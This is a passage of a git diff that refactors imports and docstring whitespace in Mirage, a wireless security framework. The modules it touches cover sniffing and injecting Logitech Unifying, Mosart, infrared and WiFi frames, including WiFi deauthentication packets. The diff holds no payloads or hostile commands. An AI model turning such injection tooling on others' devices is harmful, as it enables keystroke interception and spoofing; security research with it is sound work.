mirage.libs.esb_utils.scapy_esb_layers import * -from mirage.libs.esb_utils.packets import * -from mirage.libs.esb_utils.constants import * -from mirage.libs.esb_utils.dissectors import * -from mirage.libs.esb_utils.rfstorm import * -from mirage.libs.esb_utils.pcap import * -from mirage.libs.esb_utils.helpers import * -from mirage.libs import wireless,io - +from scapy.compat import raw - -class ESBEmitter(wireless.Emitter): +from mirage.core.module import WirelessModule +from mirage.libs.esb_utils.packets import ESBAckResponsePacket, \ + ESBLogitechEncryptedKeystrokePacket, \ + ESBLogitechKeepAlivePacket, \ + ESBLogitechMousePacket, \ + ESBLogitechMultimediaKeyPressPacket, \ + ESBLogitechMultimediaKeyReleasePacket, \ + ESBLogitechSetTimeoutPacket, \ + ESBLogitechUnencryptedKeyPressPacket, \ + ESBLogitechUnencryptedKeyReleasePacket, \ + ESBPacket, \ + ESBPingRequestPacket, \ + ESBSniffingParameters +from mirage.libs.esb_utils.pcap import ESBPCAPDevice +from mirage.libs.esb_utils.rfstorm import ESBRFStormDevice +from mirage.libs.esb_utils.scapy_esb_layers import ESB_Ack_Response, \ + ESB_Hdr, \ + ESB_Payload_Hdr, \ + ESB_Ping_Request, \ + Logitech_Encrypted_Keystroke_Payload, \ + Logitech_Keepalive_Payload, \ + Logitech_Mouse_Payload, \ + Logitech_Multimedia_Key_Payload, \ + Logitech_Set_Keepalive_Payload, \ + Logitech_Unencrypted_Keystroke_Payload, \ + Logitech_Unifying_Hdr +from mirage.libs.wireless import Emitter, Receiver + + +class ESBEmitter(Emitter): ''' This class is an Emitter for the Enhanced ShockBurst protocol ("esb"). It can instantiates the following devices : - * RFStorm Device (``mirage.libs.esb_utils.rfstorm.ESBRFStormDevice``) **[ interface "rfstormX" (e.g. "rfstormX") ]** - * PCAP Device (``mirage.libs.esb_utils.pcap.ESBPCAPDevice``) **[ interface ".pcap" (e.g. "capture.pcap") ]** + * RFStorm Device (``mirage.libs.esb_utils.rfstorm.ESBRFStormDevice``) **[ interface "rfstormX" (e.g. "rfstormX") ]** + * PCAP Device (``mirage.libs.esb_utils.pcap.ESBPCAPDevice``) **[ interface ".pcap" (e.g. "capture.pcap") ]** ''' def __init__(self,interface="rfstorm0"): @@ -57,14 +75,14 @@ def convert(self,packet): return new -class ESBReceiver(wireless.Receiver): +class ESBReceiver(Receiver): ''' This class is a Receiver for the Enhanced ShockBurst protocol ("esb"). It can instantiates the following devices : - * RFStorm Device (``mirage.libs.esb_utils.rfstorm.ESBRFStormDevice``) **[ interface "rfstormX" (e.g. "rfstormX") ]** - * PCAP Device (``mirage.libs.esb_utils.pcap.ESBPCAPDevice``) **[ interface ".pcap" (e.g. "capture.pcap") ]** + * RFStorm Device (``mirage.libs.esb_utils.rfstorm.ESBRFStormDevice``) **[ interface "rfstormX" (e.g. "rfstormX") ]** + * PCAP Device (``mirage.libs.esb_utils.pcap.ESBPCAPDevice``) **[ interface ".pcap" (e.g. "capture.pcap") ]** ''' def __init__(self,interface="rfstorm0"): diff --git a/mirage/libs/esb_utils/dissectors.py b/mirage/libs/esb_utils/dissectors.py index 0832e7d..a3c9306 100644 --- a/mirage/libs/esb_utils/dissectors.py +++ b/mirage/libs/esb_utils/dissectors.py @@ -1,15 +1,17 @@ -from mirage.libs.wireless_utils.dissectors import Dissector +from struct import pack + from mirage.libs.common.hid import HIDMapping from mirage.libs.esb_utils.helpers import bytes2bits -from struct import pack +from mirage.libs.wireless_utils.dissectors import Dissector + class LogitechMousePosition(Dissector): ''' This class is a dissector for the Logitech Unifying mouse position value. It inherits from ``Dissector``. The following fields are available in the data structure : - * **x** : field indicating x position of the mouse - * **y** : field indicating y position of the mouse + * **x** : field indicating x position of the mouse + * **y** : field indicating y position of the mouse :Example: @@ -70,12 +72,12 @@ class LogitechKeystroke(Dissector): This class is a dissector for the Logitech Unifying unencrypted keystroke payload. It inherits from ``Dissector``. The following fields are available in the data structure : - * **locale** : string indicating the locale (language layout) - * **key** : string indicating the key - * **ctrl** : boolean indicating if the Ctrl key is pressed - * **alt** : boolean indicating if the Alt key is pressed - * **super** : boolean indicating if the Super key is pressed - * **shift** : boolean indicating if the Shift key is pressed + * **locale** : string indicating the locale (language layout) + * **key** : string indicating the key + * **ctrl** : boolean indicating if the Ctrl key is pressed + * **alt** : boolean indicating if the Alt key is pressed + * **super** : boolean indicating if the Super key is pressed + * **shift** : boolean indicating if the Shift key is pressed :Example: diff --git a/mirage/libs/esb_utils/packets.py b/mirage/libs/esb_utils/packets.py index 653faed..102fd12 100644 --- a/mirage/libs/esb_utils/packets.py +++ b/mirage/libs/esb_utils/packets.py @@ -1,10 +1,10 @@ -from mirage.libs import wireless -from mirage.libs.esb_utils.helpers import frequencyToChannel,bytes2bits -from mirage.libs.esb_utils.dissectors import * -from struct import pack,unpack +from mirage.libs.esb_utils.dissectors import LogitechKeystroke, LogitechMousePosition +from mirage.libs.esb_utils.helpers import frequencyToChannel +from mirage.libs.wireless_utils.packets import AdditionalInformations, Packet -class ESBSniffingParameters(wireless.AdditionalInformations): + +class ESBSniffingParameters(AdditionalInformations): ''' This class allows to attach some sniffer's data to a Enhanced ShockBurst Packet, such as channel. If the frequency is provided, the corresponding channel is automatically calculated. @@ -26,7 +26,7 @@ def toString(self): return "CH:" + (str(self.channel) if self.channel != -1 else "???") -class ESBPacket(wireless.Packet): +class ESBPacket(Packet): ''' Mirage Enhanced ShockBurst Packet diff --git a/mirage/libs/esb_utils/pcap.py b/mirage/libs/esb_utils/pcap.py index 7cd1c1d..eef4c7b 100644 --- a/mirage/libs/esb_utils/pcap.py +++ b/mirage/libs/esb_utils/pcap.py @@ -1,19 +1,21 @@ -from mirage.libs.esb_utils.scapy_esb_layers import * -from mirage.libs import wireless +from mirage.libs.esb_utils.scapy_esb_layers import ESB_Hdr +from mirage.libs.wireless_utils.packets import WaitPacket +from mirage.libs.wireless_utils.pcapDevice import PCAPDevice -class ESBPCAPDevice(wireless.PCAPDevice): + +class ESBPCAPDevice(PCAPDevice): ''' This device allows to communicate with a PCAP file in order to write and read Enhanced ShockBurst packets. The corresponding interfaces are : ``.pcap`` (e.g. "out.pcap") - * If the file exists, the ESBPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Enhanced ShockBurst sniffer. - * If the file doesn't exist, the ESBPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. + * If the file exists, the ESBPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Enhanced ShockBurst sniffer. + * If the file doesn't exist, the ESBPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | INJECTING | yes | +-----------------------------------+----------------+ @@ -173,7 +175,7 @@ def generateStream(self): currentTimestamp = timestamp else: wait = (timestamp - currentTimestamp) - stream.append(wireless.WaitPacket(time=wait)) + stream.append(WaitPacket(time=wait)) currentTimestamp = timestamp stream.append(self.publish("convertRawToMiragePacket",packet)) diff --git a/mirage/libs/esb_utils/rfstorm.py b/mirage/libs/esb_utils/rfstorm.py index ba28fa3..0ed94b9 100644 --- a/mirage/libs/esb_utils/rfstorm.py +++ b/mirage/libs/esb_utils/rfstorm.py @@ -1,14 +1,37 @@ -from mirage.libs.esb_utils.constants import * -from mirage.libs.esb_utils.scapy_esb_layers import * -from mirage.libs import io,wireless -from threading import Lock -from fcntl import ioctl -import usb.core,usb.util -import struct import queue -import array +from fcntl import ioctl +from threading import Lock -class ESBRFStormDevice(wireless.Device): +import usb.core +import usb.util +from scapy.compat import raw + +from mirage.libs import io +from mirage.libs.esb_utils.constants import ESBOperationMode, \ + NRF24_COMMAND_ENDPOINT, \ + NRF24_ENABLE_LNA_PA, \ + NRF24_ENTER_PROMISCUOUS_MODE, \ + NRF24_ENTER_PROMISCUOUS_MODE_GENERIC, \ + NRF24_ENTER_SNIFFER_MODE, \ + NRF24_ENTER_TONE_TEST_MODE, \ + NRF24_GET_CHANNEL, \ + NRF24_ID_PRODUCT, \ + NRF24_ID_VENDOR, \ + NRF24_RECEIVE_PAYLOAD, \ + NRF24_RESPONSE_ENDPOINT, \ + NRF24_SET_CHANNEL, \ + NRF24_TRANSMIT_ACK_PAYLOAD, \ + NRF24_TRANSMIT_PAYLOAD, \ + NRF24_TRANSMIT_PAYLOAD_GENERIC, \ + RF_RATE_1M, \ + RF_RATE_250K, \ + RF_RATE_2M, \ + USBDEVFS_RESET +from mirage.libs.esb_utils.scapy_esb_layers import ESB_Ack_Response, ESB_Hdr, ESB_Payload_Hdr +from mirage.libs.wireless_utils.device import Device + + +class ESBRFStormDevice(Device): ''' This device allows to communicate with a NRF24 Device using the RFStorm firmware from Bastille in order to sniff and inject Enhanced ShockBurst frames. The corresponding interfaces are : ``rfstormX`` (e.g. "rfstorm0") diff --git a/mirage/libs/esb_utils/scapy_esb_layers.py b/mirage/libs/esb_utils/scapy_esb_layers.py index 8b256f5..a76a334 100644 --- a/mirage/libs/esb_utils/scapy_esb_layers.py +++ b/mirage/libs/esb_utils/scapy_esb_layers.py @@ -1,12 +1,28 @@ -from mirage.libs.esb_utils.constants import * -from mirage.libs.esb_utils.helpers import * -from scapy.all import * +import struct + +from scapy.fields import BitEnumField, \ + BitField, \ + ByteField, \ + FieldLenField, \ + IntField, \ + ShortField, \ + StrField, \ + StrFixedLenField, \ + StrLenField, \ + X3BytesField, \ + XByteField, \ + XShortField +from scapy.packet import Packet, bind_layers + +from mirage.libs.esb_utils.helpers import bits2bytes, bytes2bits, calcCrc ''' This module contains some scapy definitions for Enhanced ShockBurst packets. ''' + # Field representing a ShockBurst address + class SBAddressField(StrLenField): def __init__(self, name, default, length_from): StrLenField.__init__(self, name, default,length_from=length_from) @@ -114,12 +130,12 @@ def guess_payload_class(self, payload): return Packet.guess_payload_class(self, payload) class ESB_Ping_Request(Packet): - name = "ESB Ping Request" - fields_desc = [StrFixedLenField('ping_payload', '\x0f\x0f\x0f\x0f', length=4)] + name = "ESB Ping Request" + fields_desc = [StrFixedLenField('ping_payload', '\x0f\x0f\x0f\x0f', length=4)] class ESB_Ack_Response(Packet): - name = "ESB Ack Response" - fields_desc = [StrField('ack_payload', '')] + name = "ESB Ack Response" + fields_desc = [StrField('ack_payload', '')] class Logitech_Unifying_Hdr(Packet): name = "Logitech Unifying Payload" diff --git a/mirage/libs/io.py b/mirage/libs/io.py index 27d964b..c87fd7c 100644 --- a/mirage/libs/io.py +++ b/mirage/libs/io.py @@ -1,7 +1,9 @@ import sys from enum import IntEnum -from terminaltables import SingleTable + import matplotlib +from terminaltables import SingleTable + matplotlib.use('Agg') import matplotlib.pyplot as plt import matplotlib.animation as animation @@ -14,10 +16,10 @@ class VerbosityLevels(IntEnum): ''' This class provide an enumeration of available verbosity levels : - * ``NONE`` prints no message at all - * ``NO_INFO_AND_WARNING`` prints only failure and success messages - * ``NO_INFO`` prints only failure, success and warning messages - * ``ALL`` prints every type of messages + * ``NONE`` prints no message at all + * ``NO_INFO_AND_WARNING`` prints only failure and success messages + * ``NO_INFO`` prints only failure, success and warning messages + * ``ALL`` prints every type of messages ''' NONE = 0 @@ -288,10 +290,10 @@ class MiceVisualizer: This class allows to import some mouse movement and click data in order to generate a graphical view of the mouse behaviour. It requires to provide a list of dictionary containing the following fields: - * **x**: x coordinate of the velocity vector - * **y**: y coordinate of the velocity vector - * **leftClick**: boolean indicating if the left button is pressed - * **rightClick**: boolean indicating if the right button is pressed + * **x**: x coordinate of the velocity vector + * **y**: y coordinate of the velocity vector + * **leftClick**: boolean indicating if the left button is pressed + * **rightClick**: boolean indicating if the right button is pressed The execution of this component may take a few minutes if the provided data is big. It produces an animated GIF file. diff --git a/mirage/libs/ir.py b/mirage/libs/ir.py index 8e63a33..9f1b3aa 100644 --- a/mirage/libs/ir.py +++ b/mirage/libs/ir.py @@ -1,10 +1,32 @@ -from mirage.core.module import WirelessModule -from mirage.libs.ir_utils.scapy_irma_layers import * -from mirage.libs.ir_utils.irma import * -from mirage.libs.ir_utils.packets import * import math +import struct + +from mirage.core.module import WirelessModule +from mirage.libs.ir_utils.irma import IRMADevice +from mirage.libs.ir_utils.packets import IRAiwaPacket, \ + IRDenonPacket, \ + IRDishPacket, \ + IRJVCPacket, \ + IRLGPacket, \ + IRMitsubishiPacket, \ + IRNECPacket, \ + IRPacket, \ + IRPanasonicPacket, \ + IRRC5Packet, \ + IRRC6Packet, \ + IRSamsungPacket, \ + IRSanyoPacket, \ + IRSharpPacket, \ + IRSonyPacket, \ + IRWhynterPacket +from mirage.libs.ir_utils.scapy_irma_layers import IRma_Hdr, \ + IRma_Request, \ + Req_IRma_Send, \ + Resp_IRma_Recv +from mirage.libs.wireless import Emitter, Receiver + -class IREmitter(wireless.Emitter): +class IREmitter(Emitter): def __init__(self,interface="irma0"): super().__init__(interface=interface,packetType=IRPacket, deviceType=IRMADevice) @@ -51,7 +73,7 @@ def convert(self,p): return p.packet -class IRReceiver(wireless.Receiver): +class IRReceiver(Receiver): def __init__(self,interface="irma0"): super().__init__(interface=interface,packetType=IRPacket, deviceType=IRMADevice) diff --git a/mirage/libs/ir_utils/irma.py b/mirage/libs/ir_utils/irma.py index d467eed..c64355b 100644 --- a/mirage/libs/ir_utils/irma.py +++ b/mirage/libs/ir_utils/irma.py @@ -1,8 +1,21 @@ -from serial import Serial,SerialException +from scapy.compat import raw +from scapy.layers.netflow import port +from serial import Serial, SerialException from serial.tools.list_ports import comports + +from mirage.libs import io, utils +from mirage.libs.ir_utils.scapy_irma_layers import IRma_Hdr, \ + IRma_Request, \ + IRma_Response, \ + Req_IRma_GetFreq, \ + Req_IRma_Recv, \ + Req_IRma_Reset, \ + Req_IRma_SetFreq, \ + Resp_IRma_Freq, \ + Resp_IRma_Ready, \ + Resp_IRma_Reset from mirage.libs.wireless import Device -from mirage.libs.ir_utils.scapy_irma_layers import * -from mirage.libs import io + class IRMADevice(Device): ''' diff --git a/mirage/libs/ir_utils/packets.py b/mirage/libs/ir_utils/packets.py index 1dbb96a..77f3f7f 100644 --- a/mirage/libs/ir_utils/packets.py +++ b/mirage/libs/ir_utils/packets.py @@ -1,6 +1,7 @@ -from mirage.libs import wireless +from mirage.libs.wireless_utils.packets import Packet -class IRPacket(wireless.Packet): + +class IRPacket(Packet): ''' Mirage IR Packet diff --git a/mirage/libs/ir_utils/scapy_irma_layers.py b/mirage/libs/ir_utils/scapy_irma_layers.py index 35dba34..ccaf440 100644 --- a/mirage/libs/ir_utils/scapy_irma_layers.py +++ b/mirage/libs/ir_utils/scapy_irma_layers.py @@ -1,4 +1,12 @@ -from scapy.all import * +import struct + +from scapy.fields import ByteEnumField, \ + FieldLenField, \ + FieldListField, \ + ShortField, \ + StrField, \ + StrLenField +from scapy.packet import Packet, bind_layers ''' This module contains some scapy definitions for interacting with an IRMA device. diff --git a/mirage/libs/mosart.py b/mirage/libs/mosart.py index 5451aa4..0f41ff0 100644 --- a/mirage/libs/mosart.py +++ b/mirage/libs/mosart.py @@ -1,12 +1,19 @@ -from mirage.libs.mosart_utils.rfstorm import * -from mirage.libs.mosart_utils.scapy_mosart_layers import * -from mirage.libs.mosart_utils.packets import * -from mirage.libs.mosart_utils.pcap import * -from mirage.libs.mosart_utils.helpers import * -from mirage.libs import wireless,io,utils + from mirage.core.module import WirelessModule +from mirage.libs.mosart_utils.helpers import addressToInteger, integerToAddress +from mirage.libs.mosart_utils.packets import MosartDonglePacket, \ + MosartKeyboardKeystrokePacket, \ + MosartMouseClickPacket,\ + MosartMouseMovementPacket, \ + MosartPacket, \ + MosartSniffingParameters +from mirage.libs.mosart_utils.pcap import MosartPCAPDevice +from mirage.libs.mosart_utils.rfstorm import MosartRFStormDevice +from mirage.libs.mosart_utils.scapy_mosart_layers import Mosart_Action_Packet, Mosart_Dongle_Sync_Packet, Mosart_Hdr, Mosart_Mouse_Movement_Packet +from mirage.libs.wireless import Emitter, Receiver + -class MosartEmitter(wireless.Emitter): +class MosartEmitter(Emitter): def __init__(self,interface="rfstorm0"): if "rfstorm" in interface: deviceClass = MosartRFStormDevice @@ -39,7 +46,7 @@ def convert(self,packet): -class MosartReceiver(wireless.Receiver): +class MosartReceiver(Receiver): def __init__(self,interface="rfstorm0"): if "rfstorm" in interface: deviceClass = MosartRFStormDevice @@ -53,7 +60,7 @@ def convert(self, packet): address = integerToAddress(packet.address) new = MosartPacket(address=address, payload = bytes(packet),sequenceNumber = packet.seq_num) if Mosart_Dongle_Sync_Packet in packet: - new = MosartDonglePacket(address=address, payload = bytes(packet)) + new = MosartDonglePacket(address=address, payload = bytes(packet)) if Mosart_Mouse_Movement_Packet in packet: new = MosartMouseMovementPacket( address=address, diff --git a/mirage/libs/mosart_utils/dissectors.py b/mirage/libs/mosart_utils/dissectors.py index 425295b..74ac525 100644 --- a/mirage/libs/mosart_utils/dissectors.py +++ b/mirage/libs/mosart_utils/dissectors.py @@ -1,13 +1,13 @@ +from mirage.libs.mosart_utils.keyboard_codes import MosartKeyboardCodes from mirage.libs.wireless_utils.dissectors import Dissector -from mirage.libs.mosart_utils.keyboard_codes import * class MosartKeystroke(Dissector): ''' This class is a dissector for the Mosart keystroke payload. It inherits from ``Dissector``. The following fields are available in the data structure : - * **hidCode** : integer indicating the hid code of the key - * **modifiers** : integer indicating the modifiers code of the key + * **hidCode** : integer indicating the hid code of the key + * **modifiers** : integer indicating the modifiers code of the key :Example: diff --git a/mirage/libs/mosart_utils/packets.py b/mirage/libs/mosart_utils/packets.py index bbffa95..12ece8d 100644 --- a/mirage/libs/mosart_utils/packets.py +++ b/mirage/libs/mosart_utils/packets.py @@ -1,8 +1,8 @@ -from mirage.libs import wireless -from mirage.libs.mosart_utils.dissectors import * +from mirage.libs.mosart_utils.dissectors import MosartKeystroke +from mirage.libs.wireless_utils.packets import AdditionalInformations, Packet -class MosartSniffingParameters(wireless.AdditionalInformations): +class MosartSniffingParameters(AdditionalInformations): ''' This class allows to attach some sniffer's data to a Mirage Mosart Packet, such as channel. @@ -20,7 +20,7 @@ def __init__(self, channel=None): def toString(self): return "CH:" + str(self.channel) -class MosartPacket(wireless.Packet): +class MosartPacket(Packet): ''' Mirage Mosart Packet diff --git a/mirage/libs/mosart_utils/pcap.py b/mirage/libs/mosart_utils/pcap.py index ef01961..6c6d3dd 100644 --- a/mirage/libs/mosart_utils/pcap.py +++ b/mirage/libs/mosart_utils/pcap.py @@ -1,15 +1,19 @@ -from mirage.libs.mosart_utils.scapy_mosart_layers import * -from mirage.libs.mosart_utils.helpers import * -from mirage.libs import wireless +from scapy.compat import raw -class MosartPCAPDevice(wireless.PCAPDevice): +from mirage.libs.mosart_utils.helpers import integerToAddress +from mirage.libs.mosart_utils.scapy_mosart_layers import Mosart_Hdr +from mirage.libs.wireless_utils.packets import WaitPacket +from mirage.libs.wireless_utils.pcapDevice import PCAPDevice + + +class MosartPCAPDevice(PCAPDevice): ''' This device allows to communicate with a PCAP file in order to write and read Mosart packets. The corresponding interfaces are : ``.pcap`` (e.g. "out.pcap") - * If the file exists, the MosartPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Mosart sniffer. - * If the file doesn't exist, the MosartPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. + * If the file exists, the MosartPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Mosart sniffer. + * If the file doesn't exist, the MosartPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. The following capabilities are actually supported : @@ -178,7 +182,7 @@ def generateStream(self): currentTimestamp = timestamp else: wait = (timestamp - currentTimestamp) - stream.append(wireless.WaitPacket(time=wait)) + stream.append(WaitPacket(time=wait)) currentTimestamp = timestamp stream.append(self.publish("convertRawToMiragePacket",packet)) diff --git a/mirage/libs/mosart_utils/rfstorm.py b/mirage/libs/mosart_utils/rfstorm.py index b47b3ed..3ca7439 100644 --- a/mirage/libs/mosart_utils/rfstorm.py +++ b/mirage/libs/mosart_utils/rfstorm.py @@ -1,16 +1,37 @@ -from mirage.libs.esb_utils.constants import * -from mirage.libs.mosart_utils.constants import * -from mirage.libs.mosart_utils.helpers import * -from mirage.libs.mosart_utils.scapy_mosart_layers import * -from mirage.libs import io,wireless,utils -from threading import Lock -from fcntl import ioctl -import usb.core,usb.util import struct -import queue -import array,time +from fcntl import ioctl +from threading import Lock -class MosartRFStormDevice(wireless.Device): +import usb.core +import usb.util +from scapy.compat import raw + +from mirage.libs import io +from mirage.libs.esb_utils.constants import NRF24_COMMAND_ENDPOINT, \ + NRF24_ENABLE_LNA_PA, \ + NRF24_ENTER_PROMISCUOUS_MODE, \ + NRF24_ENTER_PROMISCUOUS_MODE_GENERIC, \ + NRF24_ENTER_SNIFFER_MODE, \ + NRF24_ENTER_TONE_TEST_MODE, \ + NRF24_GET_CHANNEL, \ + NRF24_ID_PRODUCT, \ + NRF24_ID_VENDOR, \ + NRF24_RECEIVE_PAYLOAD, \ + NRF24_RESPONSE_ENDPOINT, \ + NRF24_SET_CHANNEL, \ + NRF24_TRANSMIT_ACK_PAYLOAD, \ + NRF24_TRANSMIT_PAYLOAD, \ + NRF24_TRANSMIT_PAYLOAD_GENERIC, \ + RF_RATE_1M, \ + RF_RATE_2M, \ + USBDEVFS_RESET +from mirage.libs.mosart_utils.constants import MosartOperationMode +from mirage.libs.mosart_utils.helpers import crc +from mirage.libs.mosart_utils.scapy_mosart_layers import Mosart_Dongle_Sync_Packet, Mosart_Hdr +from mirage.libs.wireless_utils.device import Device + + +class MosartRFStormDevice(Device): ''' This device allows to communicate with a NRF24 Device using the RFStorm firmware from Bastille in order to sniff and inject Mosart frames. The corresponding interfaces are : ``rfstormX`` (e.g. "rfstorm0") diff --git a/mirage/libs/mosart_utils/scapy_mosart_layers.py b/mirage/libs/mosart_utils/scapy_mosart_layers.py index 5600164..3338d7f 100644 --- a/mirage/libs/mosart_utils/scapy_mosart_layers.py +++ b/mirage/libs/mosart_utils/scapy_mosart_layers.py @@ -1,5 +1,5 @@ from scapy.all import Packet, bind_layers -from scapy.fields import * +from scapy.fields import BitField, ByteEnumField, SignedByteField, XByteField, XIntField, XShortField ''' This module contains some scapy definitions for Mosart protocol. ''' diff --git a/mirage/libs/utils.py b/mirage/libs/utils.py index af8b3c1..e4e7f23 100644 --- a/mirage/libs/utils.py +++ b/mirage/libs/utils.py @@ -1,5 +1,13 @@ -import psutil,time,os,sys,string,random,imp -from os.path import expanduser,exists +import imp +import os +import random +import string +import sys +import time +from os.path import exists, expanduser + +import psutil + def generateModulesDictionary(moduleDir, moduleUserDir): ''' diff --git a/mirage/libs/wifi.py b/mirage/libs/wifi.py index fa82d6c..d482acc 100644 --- a/mirage/libs/wifi.py +++ b/mirage/libs/wifi.py @@ -1,12 +1,24 @@ -from mirage.core.module import WirelessModule -from mirage.libs import utils,wireless -import mirage.libs.io as mio -from mirage.libs.wifi_utils.packets import * -from mirage.libs.wifi_utils.constants import * +import array +import fcntl +import math +import os +import socket +import struct from threading import Lock -from scapy.all import * -import os,socket,fcntl,array,struct -class WifiDevice(wireless.Device): + +from scapy.arch import IFF_UP +from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Deauth, Dot11Disas, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp, RadioTap +from scapy.sendrecv import sendp, sniff + +import mirage.libs.io as mio +from mirage.core.module import WirelessModule +from mirage.libs.wifi_utils.constants import IFNAMESIZE, IWFREQFIXED, SIOCGIFFLAGS, SIOCGIWFREQ, SIOCGIWMODE, SIOCSIFFLAGS, SIOCSIWFREQ, SIOCSIWMODE, WIFI_MODES +from mirage.libs.wifi_utils.packets import WifiBeacon, WifiDeauth, WifiDisas, WifiPacket, WifiProbeRequest, WifiProbeResponse +from mirage.libs.wireless import Emitter, Receiver +from mirage.libs.wireless_utils.device import Device + + +class WifiDevice(Device): ''' This device allows to communicate with a WiFi Device. The corresponding interfaces are : ``wlanX`` (e.g. "wlanX") @@ -14,17 +26,17 @@ class WifiDevice(wireless.Device): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available? | +===================================+================+ - | SCANNING | yes | + | SCANNING | yes | +-----------------------------------+----------------+ - | MONITORING | yes | + | MONITORING | yes | +-----------------------------------+----------------+ - | COMMUNICATING_AS_ACCESS_POINT | yes | + | COMMUNICATING_AS_ACCESS_POINT | yes | +-----------------------------------+----------------+ - | COMMUNICATING_AS_STATION | yes | + | COMMUNICATING_AS_STATION | yes | +-----------------------------------+----------------+ - | JAMMING | no | + | JAMMING | no | +-----------------------------------+----------------+ ''' @@ -118,14 +130,14 @@ def getMode(self): Existing modes: - * 'Auto' - * 'Ad-Hoc' - * 'Managed' - * 'Master' - * 'Repeat' - * 'Second' - * 'Monitor' - * 'Unknown/bug' + * 'Auto' + * 'Ad-Hoc' + * 'Managed' + * 'Master' + * 'Repeat' + * 'Second' + * 'Monitor' + * 'Unknown/bug' :return: string indicating the mode in use :rtype: str @@ -154,14 +166,14 @@ def setMode(self,mode): Existing modes: - * 'Auto' - * 'Ad-Hoc' - * 'Managed' - * 'Master' - * 'Repeat' - * 'Second' - * 'Monitor' - * 'Unknown/bug' + * 'Auto' + * 'Ad-Hoc' + * 'Managed' + * 'Master' + * 'Repeat' + * 'Second' + * 'Monitor' + * 'Unknown/bug' :param mode: string indicating the mode to use @@ -372,7 +384,7 @@ def getAddress(self): return ''.join(['%02x:' % b for b in info[18:24]])[:-1].upper() -class WifiEmitter(wireless.Emitter): +class WifiEmitter(Emitter): def __init__(self,interface="wlp2s0"): super().__init__(interface=interface,packetType=WifiPacket,deviceType=WifiDevice) @@ -415,8 +427,8 @@ def convert(self,packet): packet.packet /= Dot11Disas(reason=packet.reason) if ( isinstance(packet, WifiBeacon) or - isinstance(packet, WifiProbeRequest) or - isinstance(packet, WifiProbeResponse) ): + isinstance(packet, WifiProbeRequest) or + isinstance(packet, WifiProbeResponse) ): ssid = Dot11Elt(ID="SSID", info=packet.SSID, len=len(packet.SSID)) packet.packet /= ssid @@ -428,13 +440,13 @@ def convert(self,packet): if hasattr(packet,"cypher") and packet.cypher != "OPN": rsn = Dot11Elt(ID='RSNinfo',info=(b'\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f' - b'\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00')) + b'\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00')) packet.packet /= rsn return packet.packet return None -class WifiReceiver(wireless.Receiver): +class WifiReceiver(Receiver): def __init__(self,interface="wlp2s0",monitorMode=True): super().__init__(interface=interface,packetType=WifiPacket, deviceType=WifiDevice) diff --git a/mirage/libs/wifi_utils/packets.py b/mirage/libs/wifi_utils/packets.py index f1bbd6d..a83aeb8 100644 --- a/mirage/libs/wifi_utils/packets.py +++ b/mirage/libs/wifi_utils/packets.py @@ -1,6 +1,7 @@ -from mirage.libs import wireless +from mirage.libs.wireless_utils.packets import Packet -class WifiPacket(wireless.Packet): + +class WifiPacket(Packet): ''' Mirage WiFi Packet diff --git a/mirage/libs/wireless.py b/mirage/libs/wireless.py index e75cf56..813fa20 100644 --- a/mirage/libs/wireless.py +++ b/mirage/libs/wireless.py @@ -1,11 +1,13 @@ -from queue import Queue,Empty import time +from queue import Empty, Queue + +from scapy.packet import Packet + import mirage.libs.io as io -from mirage.libs.wireless_utils.packets import * -from mirage.libs.wireless_utils.packetQueue import PacketQueue,StoppableThread from mirage.libs.wireless_utils.callbacks import Callback from mirage.libs.wireless_utils.device import Device -from mirage.libs.wireless_utils.pcapDevice import PCAPDevice +from mirage.libs.wireless_utils.packetQueue import PacketQueue +from mirage.libs.wireless_utils.packets import WaitPacket class Emitter(PacketQueue): @@ -13,13 +15,13 @@ class Emitter(PacketQueue): This class allows an user to communicate with a device in order to send data. Indeed, Mirage provides no direct access to the device component from the modules : the hardware components are manipulated thanks to the Emitter class and the Receiver class. Emitters' classes for a given technology inherits from this class. The packet are manipulated as an abstract representation in Emitters and Receivers (``mirage.libs.wireless_utils.packets.Packet``) and as a raw representation in Device (e.g. bytes array or scapy frame). That's why an Emitter must implement the following method : - * convert(self,packet) : this method converts a Mirage Packet into its raw representation + * convert(self,packet) : this method converts a Mirage Packet into its raw representation The constructor of an Emitter needs three parameters : - * `interface` : indicating the interface to use to instantiate the device, generally it will be provided by the user - * `packetType` : indicating the child class of Packet for the technology implemented by the Emitter - * `deviceType` : indicating the child class of Device to instanciate + * `interface` : indicating the interface to use to instantiate the device, generally it will be provided by the user + * `packetType` : indicating the child class of Packet for the technology implemented by the Emitter + * `deviceType` : indicating the child class of Device to instanciate A `_task` method is implemented by default. It gets a Mirage Packet from the queue, calls the convert method on it and calls the send method of a Device on the result. If you want to customize this behaviour, you can overload this method. @@ -138,13 +140,13 @@ class Receiver(PacketQueue): The packet are manipulated as an abstract representation in Emitters and Receivers (``mirage.libs.wireless_utils.packets.Packet``) and as a raw representation in Device (e.g. bytes array or scapy frame). That's why a Receiver must implement the following method : - * convert(self,packet) : this method converts a raw representation of a packet into a Mirage Packet + * convert(self,packet) : this method converts a raw representation of a packet into a Mirage Packet The constructor of a Receiver needs three parameters : - * `interface` : indicating the interface to use to instantiate the device, generally it will be provided by the user - * `packetType` : indicating the child class of Packet for the technology implemented by the Emitter - * `deviceType` : indicating the child class of Device to instanciate + * `interface` : indicating the interface to use to instantiate the device, generally it will be provided by the user + * `packetType` : indicating the child class of Packet for the technology implemented by the Emitter + * `deviceType` : indicating the child class of Device to instanciate A `_task` method is implemented by default. It calls the recv method of a Device, converts the result (if it is not None) to a Mirage Packet and adds it to the queue. If you want to customize this behaviour, you can overload this method. @@ -300,9 +302,9 @@ def onEvent(self,event="*", callback=None, args=[], kwargs={}, background=True): It is linked to an *event*, which is a string indicating when 